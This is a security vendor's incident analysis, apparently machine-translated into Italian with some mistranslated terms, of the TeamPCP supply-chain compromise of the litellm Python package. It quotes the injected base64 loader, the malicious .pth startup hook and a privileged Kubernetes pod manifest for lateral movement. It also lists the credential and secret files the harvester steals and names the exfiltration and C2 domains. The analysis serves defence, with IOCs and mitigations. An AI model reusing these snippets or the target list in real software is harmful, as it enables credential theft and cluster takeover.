Perché è importante
Il 24 marzo 2026, il popolare pacchetto Python letteralmente, un gateway proxy LLM universale utilizzato da migliaia di enterpriseIl sistema utilizzato per instradare il traffico tra applicazioni e provider di intelligenza artificiale come OpenAI, Anthropic, Google e AWS Bedrock è stato silenziosamente compromesso su PyPI. Due versioni infette (1.82.7 e 1.82.8) sono state pubblicate a distanza di 13 minuti l'una dall'altra, contenenti un payload multi-stadio in grado di rubare le credenziali, esfiltrare segreti cloud, diffondersi lateralmente tra i cluster Kubernetes e installare una backdoor persistente con capacità di esecuzione di codice remoto.
Con circa 3.6 milioni di download giornalieri Grazie alla sua capillare implementazione nell'infrastruttura AI nativa del cloud, litellm si trova al crocevia di tutto ciò che i moderni hacker ambiscono: chiavi API per ogni principale fornitore di IA, credenziali IAM cloud, segreti di Kubernetes e chiavi SSH.
Ma il piccolo compromesso non fu un evento isolato. Fu il culmine di un campagna di cinque giorni, cinque ecosistemi da un attore della minaccia noto come TeamPCP, una campagna che ha prima avvelenato gli scanner di sicurezza (Aqua Trivy, Checkmarx KICS), poi ha utilizzato i dati rubati CI/CD Le credenziali venivano propagate a cascata a npm, OpenVSX e infine PyPI. Gli aggressori hanno trasformato in armi proprio gli strumenti su cui le organizzazioni fanno affidamento per proteggere le proprie catene di approvvigionamento.
Questo attacco rappresenta un cambiamento radicale nella sofisticazione delle minacce alla catena di approvvigionamento. Il design multi-hop, trasversale all'ecosistema, compromette gli strumenti di sicurezza per raggiungere risorse di alto valore. Infrastruttura di intelligenza artificiale, Ciò riflette un livello di pianificazione e maturità operativa coerente con strumenti di attacco sempre più standardizzati. I payload sono stati iterati in tempo reale (tre varianti di payload sono presenti nel codice sorgente, incluse versioni precedenti commentate), l'infrastruttura C2 è stata registrata il giorno prima dell'attacco e i domini di esfiltrazione sono stati scelti con cura per imitare infrastrutture di fornitori legittimi. Il sistema di raccolta credenziali, sistematicamente completo e che copre oltre 15 categorie, inclusi obiettivi di nicchia come le chiavi di firma di Cardano e le configurazioni di WireGuard, suggerisce un livello di accuratezza che indica lo sviluppo di malware assistito dall'IA come un moltiplicatore di forza.
timeline
| Data (UTC) | Event |
|---|---|
| Marzo 19 | TeamPCP compromette i tag Aqua Trivy GitHub Action, sostituendoli con codice dannoso che esfiltra CI/CD segreti provenienti da repository a valle |
| Marzo 21 | Il compromesso si estende a Checkmarx KICS e AST GitHub Actions utilizzando tecniche simili |
| 22 marzo, ore 06:35 | BerriAI pubblica litellm 1.82.6 (ultima versione pulita) tramite normal CI/CD pipeline che utilizza Trivy per la scansione di sicurezza |
| Marzo 23 | TeamPCP registra models.litellm.cloud (dominio di esfiltrazione). Compromette oltre 66 pacchetti npm ed estensioni OpenVSX |
| 24 marzo, ore 10:39 | litellm 1.82.7 pubblicato su PyPI -- payload iniettato in proxy_server.py a livello di modulo. Esegue all'importazione |
| 24 marzo, ore 10:52 | litellm 1.82.8 pubblicato 13 minuti dopo -- aggiunge litellm_init.pth, un hook di configurazione del percorso Python che viene eseguito ad ogni avvio dell'interprete Python, non solo alle importazioni di litellm. Mostra una rapida iterazione del payload |
| 24 marzo, ore 16:00 circa | PyPI rimuove entrambe le versioni in seguito alle segnalazioni della community. Le versioni vengono eliminate completamente (non semplicemente rimosse) dall'indice, sebbene i file tarball della CDN rimangano accessibili. |
Tempo di esposizione: circa 5.5 ore. Durante questo periodo, qualsiasi
pip install litellm,
pip install --upgrade litellm, O CI/CD pipeline Scaricando l'ultima versione, il payload sarebbe stato eseguito.
Come il malware è penetrato: la compromissione a cascata
Il pacchetto litellm non è stato violato direttamente. L'attaccante lo ha raggiunto tramite un attacco alla catena di approvvigionamento a due fasi:
Aqua Trivy GitHub Action (compromised March 19)
--> LiteLLM CI/CD pipeline runs Trivy without pinned version
--> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner
--> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPILiteLLM's CI/CD pipeline ha utilizzato Trivy come scanner di sicurezza: lo strumento stesso progettato per individuare le vulnerabilità era il vettore di attacco. Perché il pipeline Trivy referenziato tramite tag mutabile piuttosto che un pinned commit SHA, l'azione compromessa è stata eseguita automaticamente. L'azione Trivy dannosa ha esfiltrato i segreti dell'ambiente, tra cui PYPI_PUBLISH token, che consente a TeamPCP di accedere direttamente alla pubblicazione sul progetto litellm PyPI.
Questa strategia di "compromettere le guardie" è un tratto distintivo della campagna TeamPCP. Prendendo di mira innanzitutto gli strumenti di sicurezza (Trivy, Checkmarx KICS), gli aggressori hanno disabilitato simultaneamente il rilevamento e ottenuto un accesso privilegiato alle catene di approvvigionamento a valle.
Analisi tecnica: il carico utile
Punti di iniezione
Versione: 1.82.7 — Esecuzione a livello di modulo in litellm/proxy/proxy_server.py (riga 128):
import subprocess, base64, sys, tempfile, os
b64_payload = "<~12KB base64 blob>"
with tempfile.TemporaryDirectory() as d:
p = os.path.join(d, "p.py")
with open(p, "wb") as f:
f.write(base64.b64decode(b64_payload))
subprocess.run([sys.executable, p])Questo codice si trova nell'ambito del modulo tra un letterale del dizionario e l'originale showwarning() funzione. Viene eseguita immediatamente quando litellm.proxy.proxy_server viene importato — cosa che avviene ogni volta che si utilizza la funzionalità proxy di litellm.
Versione: 1.82.8 — Aggiunto litellm_init.pth (File di configurazione del percorso Python):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...)
Python .pth file in site-packages/ vengono elaborate ad ogni avvio dell'interprete, ma solo le righe che iniziano con import vengono eseguiti come codice. L'attaccante sfrutta questo concatenando l'intero payload su un singolo import dichiarazione: import os, subprocess, sys; subprocess.Popen(...). Questo è molto più aggressivo dell'iniezione proxy_server.py: si attiva anche se litellm non viene mai importato, ad ogni avvio del processo Python. pyproject.toml è stato modificato per includere questo file nella distribuzione:
include = [
{ path = "litellm_init.pth", format = ["sdist", "wheel"] }
]La versione 1.82.8 ha quindi due percorsi di esecuzione indipendenti: l'iniezione proxy_server.py (che si attiva all'importazione del proxy litellm) e il file .pth (che si attiva a ogni avvio di Python). La ridondanza è di per sé notevole: protegge dal rilevamento o dalla rimozione di uno solo dei due percorsi. L'escalation dall'esecuzione in fase di importazione a quella in fase di avvio, avvenuta appena 13 minuti dopo la versione 1.82.7, suggerisce che l'attaccante stesse monitorando il successo del deployment e procedendo rapidamente con iterazioni.
Fase 1: Raccolta completa delle credenziali
Lo script interno decodificato è un meticoloso vuoto di credenziali. Utilizza os.walk(), glob.glob(), subprocess.check_output()e letture dirette dei file per scansionare l'intero sistema:
| Categoria | Obiettivi |
|---|---|
| Ricognizione del sistema | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; chiavi host da /etc/ssh/ |
| Cloud (AWS) | ~/.aws/credentials, ~/.aws/config; credenziali di ruolo IMDS tramite 169.254.169.254Gestore dei segreti ListSecrets; SSM DescribeParameters |
| Cloud (GCP) | ~/.config/gcloud/ (ricorsivo); $GOOGLE_APPLICATION_CREDENTIALS |
| Cloud (Azure) | ~/.azure/ (ricorsivo); variabili d'ambiente |
| kubernetes | Token dell'account di servizio; ca.crt; namespace; kubectl get secrets --all-namespaces; tutti i segreti tramite API K8s |
| File di ambiente | .env, .env.local, .env.production, .env.development, .env.staging — ricerca ricorsiva (profondità 6) attraverso /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| docker | ~/.docker/config.json, /kaniko/.docker/config.json |
| Token del pacchetto | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Database | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, configurazioni MongoDB |
| TLS / SSL | chiavi private da /etc/ssl/private/, certificati Let's Encrypt, tutti .pem/.key/.p12/.pfx file |
| Idiota | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Portafogli crittografici | Bitcoin, keystore di Ethereum, coppie di chiavi Solana (validatore, voto, staking, faucet), chiavi di firma Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Storia della conchiglia | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Autenticazione di sistema | /etc/passwd, /etc/shadow, registri di autenticazione (sessioni SSH accettate) |
| Chiavi Webhook/API | Cerca Slack webhooksDiscord webhooksChiavi/segreti API nei file di configurazione |
| VPN | Configurazioni WireGuard da /etc/wireguard/ |
La portata di questo raccoglitore è enciclopedica. Prende di mira non solo le credenziali cloud ma anche i portafogli di criptovalute, le password dei database, le configurazioni VPN e CI/CD segreti — il che suggerisce che l'attaccante intende monetizzare i sistemi compromessi attraverso molteplici vettori.
Fase 2: esfiltrazione crittografata
I dati rubati vengono crittografati ed esfiltrati utilizzando uno schema di crittografia ibrido:
- AES-256-CBC crittografia di tutti i dati raccolti con una chiave di sessione casuale di 32 byte (tramite
openssl enc) - RSA-4096 crittografia della chiave di sessione utilizzando la chiave pubblica incorporata dell'attaccante (padding OAEP, tramite
openssl pkeyutl) - Entrambi i file di testo cifrato raggruppati come
tpcp.tar.gz(latpcpIl prefisso "TeamPCP" compare in modo coerente in tutta la campagna. - HTTPS POST a
https://models.litellm.cloud/conContent-Type: application/octet-stream
Il dominio models.litellm.cloud è stato registrato il 23 marzo, un giorno prima dell'attacco, ed è progettato per integrarsi con l'infrastruttura legittima di litellm (il progetto reale utilizza litellm.aiAnche un difensore consapevole della rete che analizza il traffico in uscita potrebbe non segnalare il traffico diretto a quello che sembra essere l'endpoint del modello di litellm.
Fase 3: Backdoor persistente (sysmon.py)
Il payload installa una backdoor di polling camuffata da telemetria di sistema:
- sentiero:
~/.config/sysmon/sysmon.py - Servizio:
sysmon.service(unità utente systemd, descritta come "Servizio di telemetria di sistema") - Comportamento: Dopo un sonno iniziale di 300 secondi, sondaggi
https://checkmarx.zone/rawogni ~50 minuti - : Scarica l'URL restituito dal C2 a
/tmp/pglog, lo rende eseguibile (chmod 755), lo esegue in una sessione separata - Monitoraggio dello stato:
/tmp/.pg_stateimpedisce il download ripetuto dello stesso payload - Persistenza:
Restart=always,RestartSec=10— sopravvive a crash e riavvii
Il dominio checkmarx.zone è un typosquat di Checkmarx (la società di sicurezza a checkmarx.com), progettato in modo che gli analisti del SOC che esaminano i log di rete vedano traffico verso quello che sembra essere un fornitore di sicurezza legittimo. Questa è una tecnica di elusione deliberata, coerente con la più ampia strategia di TeamPCP di nascondersi dietro il marchio di un fornitore di sicurezza.
Fase 3b: Spostamento laterale di Kubernetes
Se il sistema compromesso ha le credenziali dell'account di servizio Kubernetes, il malware enumera tutti i nodi del cluster e li distribuisce gruppi privilegiati a ciascuno:
pod_manifest = {
'apiVersion': 'v1', 'kind': 'Pod',
'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
'spec': {
'nodeName': node_name,
'hostPID': True, 'hostNetwork': True,
'tolerations': [{'operator': 'Exists'}],
'containers': [{
'name': 'setup',
'image': 'alpine:latest',
'command': ['sh', '-c', drop_cmd],
'securityContext': {'privileged': True},
'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]
}],
'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
'restartPolicy': 'Never'
}
}Ogni capsula:
- Esegue come privilegiato con
hostPID,hostNetworke accesso completo al filesystem dell'host - si utilizza
chroot /hostper installare lo stessosysmon.pybackdoor sul filesystem root dell'host - Lo registra come servizio systemd, garantendo la persistenza anche dopo l'eliminazione del pod.
- Detto
node-setup-*nellakube-systemnamespace da far apparire come infrastruttura cluster legittima
Questo significa a singolo compromesso CI/CD L'utilizzo di un runner con accesso a Kubernetes potrebbe comportare l'inserimento di una backdoor in ogni nodo del cluster. — uno scenario di movimento laterale catastrofico per le organizzazioni che utilizzano litellm come proxy in Kubernetes.
Evoluzione del carico utile (varianti commentate)
Il codice sorgente alle righe 131-132 contiene due varianti di payload precedenti, commentate, che rivelano il processo di sviluppo dell'attaccante:
- Tutte e tre le varianti condividono la stessa infrastruttura di esfiltrazione (
models.litellm.cloud), chiave pubblica RSA-4096, wrapper di crittografia ibrida AES-256-CBC + RSA etpcp.tar.gzdenominazione del pacchetto - Varianti precedenti ha aggiunto un Livello di crittografia RC4 All'interno dello script di raccolta dati, i dati raccolti vengono crittografati prima del wrapper esterno AES+RSA. Il payload attivo (riga 130) è semplificato rimuovendo questo strato interno RC4.
- Le varianti precedenti utilizzano
exec()conStringIOcattura per eseguire il collettore in-process, mentre il payload attivo utilizzasubprocess.run()con reindirizzamento stdout — una separazione più pulita che evita di inquinare il processo host - Tutte e tre le varianti si rivolgono alle stesse categorie di credenziali e agli stessi percorsi di raccolta
- Il tasto RC4 nelle varianti precedenti era un insulto provocatorio, coerente con il comportamento dell'attore in cerca di attenzione su Telegram.
Ciò rivela uno sviluppo attivo durante l'operazione. L'attaccante ha semplificato lo stack di crittografia e migliorato l'isolamento dell'esecuzione, mantenendo al contempo stabili gli obiettivi di raccolta e l'infrastruttura di esfiltrazione.
Indicatori di Compromesso (IOC)
Reti
| Tipo | Missione | |
|---|---|---|
models.litellm.cloud |
Domini | Endpoint di esfiltrazione (HTTPS POST) |
checkmarx.zone |
Domini | Endpoint di polling C2 (HTTPS GET) /raw) |
Nota: collegamenti di segnalazione esterni checkmarx.zone/static/checkmarx-util-1.0.4.tgz alla precedente fase KICS della campagna TeamPCP. Questo URL non è stato trovato nei payload di litellm analizzati.
Hash dei pacchetti
| Compila il | SHA256 |
|---|---|
litellm-1.82.7.tar.gz |
8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz |
d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
File System
| Tipo | Missione | |
|---|---|---|
~/.config/sysmon/sysmon.py |
Compila il | Script backdoor persistente |
~/.config/systemd/user/sysmon.service |
Compila il | Unità di persistenza Systemd |
/tmp/pglog |
Compila il | Scaricato il binario di seconda fase |
/tmp/.pg_state |
Compila il | Tracciamento dello stato C2 |
litellm_init.pth in site-packages/ |
Compila il | Hook di avvio Python (solo per la versione 1.82.8) |
tpcp.tar.gz |
Compila il | Pacchetto di esfiltrazione crittografato |
kubernetes
| Tipo | Missione | |
|---|---|---|
node-setup-* baccelli in kube-system |
Baccello | Pod privilegiati per il movimento laterale |
sysmon.service sui nodi del cluster |
Servizio | Persistenza a livello host tramite pod escape |
Cryptographic
| Dettagli | |
|---|---|
| Chiave pubblica RSA-4096 dell'attaccante |
Impronta digitale SHA256:
bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8. Incorporato in tutte e tre le varianti del payload; stessa chiave segnalata in altre operazioni di TeamPCP
|
tpcp prefisso negli artefatti |
Convenzione di denominazione dei bundle (tpcp.tar.gz) coerente in tutta la campagna
|
Attribuzione: TeamPCP
L'attore della minaccia dietro questa campagna è tracciato come TeamPCP, noto anche come PCPcat, Persy_PCP, ShellForce e DeadCatx3.
Caratteristiche note:
- Mantiene i canali Telegram a
@Persy_PCPe@teampcpdove hanno deriso le società di sicurezza - Funziona su diversi ecosistemi (GitHub Actions, PyPI, npm, OpenVSX)
- Utilizza domini typosquat specifici del fornitore per ogni fase della campagna (ad esempio,
checkmarx.zoneper Checkmarx,models.litellm.cloudper litellm) - Indicatori di infrastruttura coerenti: stessa coppia di chiavi RSA,
tpcp.tar.gzconvenzione di denominazione,tpcp-docs-*Repository GitHub utilizzati come aree di staging per i trasferimenti di dati. - Individua gli strumenti di sicurezza come punti di accesso alle catene di approvvigionamento a valle.
Affidabilità dell'attribuzione: Alto. La chiave pubblica RSA condivisa, tpcp La denominazione degli artefatti, la sovrapposizione dell'infrastruttura C2 e il ritmo operativo durante la campagna di cinque giorni collegano fortemente le violazioni di Trivy, KICS, npm, OpenVSX e litellm allo stesso attore.
MotivazioneProbabilmente si tratta di un'attività di natura finanziaria (furto di portafogli di criptovalute, monetizzazione delle credenziali cloud) combinata con la notorietà (provocazioni su Telegram). L'ampiezza delle credenziali rubate, che spaziano da AWS IAM alle coppie di chiavi dei validatori Solana fino alle configurazioni di WireGuard, suggerisce un soggetto motivato da interessi finanziari che cerca di massimizzare il ritorno sull'investimento (ROI) da ogni violazione.
Possibile assistenza tramite intelligenza artificialeIl sistema di raccolta delle credenziali è sistematicamente completo, con oltre 15 categorie che includono obiettivi di nicchia come le chiavi di firma di Cardano, le configurazioni di WireGuard e le credenziali Docker di Kaniko, in un modo coerente con l'enumerazione assistita dall'IA. La velocità di iterazione del payload (tre varianti con diversi schemi di crittografia), il coordinamento tra ecosistemi (5 ecosistemi in 5 giorni) e la sicurezza operativa (domini che impersonano il fornitore, crittografia ibrida, persistenza systemd mascherata da telemetria) suggeriscono un livello di throughput che potrebbe riflettere lo sviluppo assistito dall'IA come moltiplicatore di forza. Questa valutazione è speculativa; operatori esperti potrebbero raggiungere risultati simili anche senza strumenti di IA.
Nuove tattiche, tecniche e procedure
1. Avvelenamento della catena di fornitura degli strumenti di sicurezza (variante T1195.002)
Compromettere gli scanner di sicurezza (Trivy, KICS) come primo passo per raggiungere i target a valle rappresenta una nuova escalation. L'attaccante non ha compromesso solo una libreria, ma ha compromesso gli strumenti che le organizzazioni utilizzano per individuare librerie compromesse. Questo crea un punto cieco: lo scanner che dovrebbe individuare il codice dannoso è esso stesso il meccanismo di distribuzione.
2. pitone .pth Persistenza dei file (T1546)
Migliori litellm_init.pth La tecnica nella v1.82.8 è particolarmente insidiosa. Python .pth file in site-packages/ vengono elaborati ad ogni avvio dell'interprete; qualsiasi riga che inizia con import viene eseguito come codice. Concatenando il payload su un singolo import Secondo questa dichiarazione, l'attaccante ottiene l'esecuzione su ogni processo Python, non solo quando viene importato litellm. Ciò significa che il payload viene eseguito anche se litellm è installato ma non viene mai utilizzato e sopravvive alla correzione che sostituisce i processi compromessi. .py file senza controllare .pth File.
3. Spostamento laterale a livello di cluster Kubernetes tramite implementazione di pod privilegiati (T1610, T1611)
La creazione automatizzata di pod privilegiati su ogni nodo del cluster — con hostPID, hostNetwork, montaggio del filesystem host e chroot per installare la persistenza — collega la distribuzione del container (T1610) con l'uscita all'host (T1611) per trasformare un singolo carico di lavoro compromesso in una compromissione completa del cluster.
4. Infrastruttura C2 che impersona il fornitore
utilizzando models.litellm.cloud (imita litellm) e checkmarx.zone (simula Checkmarx) come endpoint C2/exfil è progettato per eludere il monitoraggio della rete. Gli analisti SOC che esaminano il traffico in uscita vedrebbero connessioni HTTPS verso quelli che sembrano essere domini legittimi di fornitori.
5. Iterazione rapida del carico utile in volo
Pubblicando la versione 1.82.7 con esecuzione in fase di importazione, e successivamente la versione 1.82.8 con esecuzione in fase di avvio 13 minuti dopo, si nota come l'attaccante monitori e si adatti in tempo reale. Le varianti del payload commentate (con diversi schemi di crittografia) conservate nel codice sorgente confermano lo sviluppo attivo durante l'operazione.
Cosa si può fare
Questo attacco sfrutta la fiducia a ogni livello: fiducia negli strumenti di sicurezza, fiducia nei registri dei pacchetti, fiducia nei domini dall'aspetto familiare, fiducia in CI/CD automazione. Difendersi da essa richiede di rafforzare ciascuno di questi confini di fiducia:
Per i consumatori di confezioni
- Blocca le dipendenze tramite hash, non solo tramite versione.
pip install litellm==1.82.6 --hash=sha256:...avrebbe impedito l'installazione delle versioni compromesse, anche se per un breve periodo fossero apparse come l'ultima versione. - Utilizzare file di blocco.
pip-compile,poetry.lockeuv.lockacquisire versioni e hash esatti. CI/CD L'installazione dovrebbe avvenire tramite file di blocco, non tramite specificatori di versione variabili. - Monitorare per
.pthFile. Verifica periodicasite-packages/per imprevisti.pthI file vengono eseguiti ad ogni avvio di Python e rappresentano un meccanismo di persistenza spesso sottovalutato. - Implementare i controlli della rete di uscita. L'esfiltrazione a
models.litellm.cloude sondaggio C2 acheckmarx.zonePotrebbe essere stato intercettato dal filtraggio del traffico in uscita basato su liste di accesso consentite negli ambienti di produzione.
Per i gestori dei pacchetti
- Pin CI/CD azioni da commit SHA, non tag. LiteLLM's pipeline Trivy utilizzato senza una versione fissa. Se avesse fatto riferimento
aquasecurity/trivy-action@<commit-sha>invece di@latest, l'azione compromessa non sarebbe stata eseguita. - Utilizza token di pubblicazione di breve durata e con ambito limitato. PyPI supporta Trusted Publishers (basati su OIDC) e token API con ambito. L'esfiltrato
PYPI_PUBLISHIl token non avrebbe dovuto avere accesso illimitato e di lunga durata alla pubblicazione. - Abilita l'autenticazione a due fattori su PyPI. Richiedere l'autenticazione a due fattori (2FA) per tutti i manutentori e utilizzare, ove possibile, chiavi di sicurezza hardware.
- Firma i pacchi. Le attestazioni Sigstore/PEP 740 consentono ai consumatori di verificare che un pacco sia stato costruito secondo le modalità previste. CI/CD pipeline, non da un aggressore con un token rubato.
Per gli operatori di piattaforme (PyPI, npm, GitHub)
- Individuare modelli di pubblicazione anomali. La pubblicazione di due nuove versioni a distanza di 13 minuti l'una dall'altra, da un indirizzo IP o token diverso dal solito, dovrebbe attivare la procedura di blocco per la revisione o la scansione automatica prima che il pacchetto diventi installabile.
- Accelerare l'adozione di Trusted Publishers. La pubblicazione basata su OIDC collega i pacchetti a repository e flussi di lavoro specifici, rendendo i token rubati inutili al di fuori dell'originale CI/CD socio-culturale.
- Implementare la scansione antimalware al momento della pubblicazione. Il payload decodificato in base64 presente in proxy_server.py sarebbe rilevabile tramite analisi statica al momento della pubblicazione.
Per l'ecosistema
- Considera gli strumenti di sicurezza come infrastrutture critiche. Trivy e Checkmarx KICS sono utilizzati da milioni di pipelines. Le loro GitHub Actions devono essere firmate, fissate in alto e monitorate con lo stesso rigore dei pacchetti che scansionano.
- Investite nel rilevamento in tempo reale. L'analisi statica da sola non può individuare tutte le tecniche di offuscamento. Monitoraggio in fase di esecuzione dell'installazione dei pacchetti hooks, connessioni di rete inattese e modelli di accesso ai file sospetti forniscono una difesa multilivello.
- Condividi più velocemente le informazioni sulle minacce. La finestra di esposizione di 5.5 ore per litellm avrebbe potuto essere più breve con un coordinamento più rapido tra i vari fornitori. Servizi di scansione automatizzati come Xygeni MEW, Socket e Snyk hanno rilevato l'anomalia: il collo di bottiglia è rappresentato dalla conferma umana e dai tempi di risposta del registro.
Conclusione
La campagna TeamPCP rappresenta un momento cruciale per software supply chain securityCompromettendo prima gli scanner di sicurezza e utilizzandoli come trampolini di lancio per infrastrutture di intelligenza artificiale di alto valore, gli aggressori hanno dimostrato che la catena di approvvigionamento è forte solo quanto la sua dipendenza transitiva più debole, e che tale dipendenza potrebbe essere lo strumento di sicurezza su cui fate affidamento per proteggervi.
Il compromesso litellm evidenzia in particolare il rischio crescente per l'infrastruttura AI. Man mano che i gateway proxy LLM diventano standard modello per enterprise Nell'implementazione dell'IA, l'accesso alle chiavi API, alle credenziali cloud e ai dati sensibili viene concentrato in un unico componente. Compromettendo tale componente, si rischia di compromettere l'intera architettura dell'IA.
Le organizzazioni che hanno installato litellm 1.82.7 o 1.82.8 durante la finestra di 5.5 ore dovrebbero considerarlo come una compromissione completa delle credenziali: ruotare tutti i segreti sui sistemi interessati, controllare i cluster Kubernetes per node-setup-* baccelli in kube-system, rimuovere qualsiasi sysmon.service unità systemd e controlla per litellm_init.pth in pitone site-packages/ directory. Utenti dell'immagine Docker ufficiale (ghcr.io/berriai/litellm) non sono stati influenzati, poiché l'immagine ha mantenuto le sue dipendenze e non è stata ricostruita durante la finestra di esposizione.
L'autore
Co-fondatore e CTO
Luis Rodriguez È co-fondatore e CTO di Xygeni Security. Con oltre 20 anni di esperienza nella sicurezza delle applicazioni, si concentra sulla protezione AppSec e su funzionalità avanzate di analisi del codice che aiutano i team a ridurre il rischio reale di rilascio.
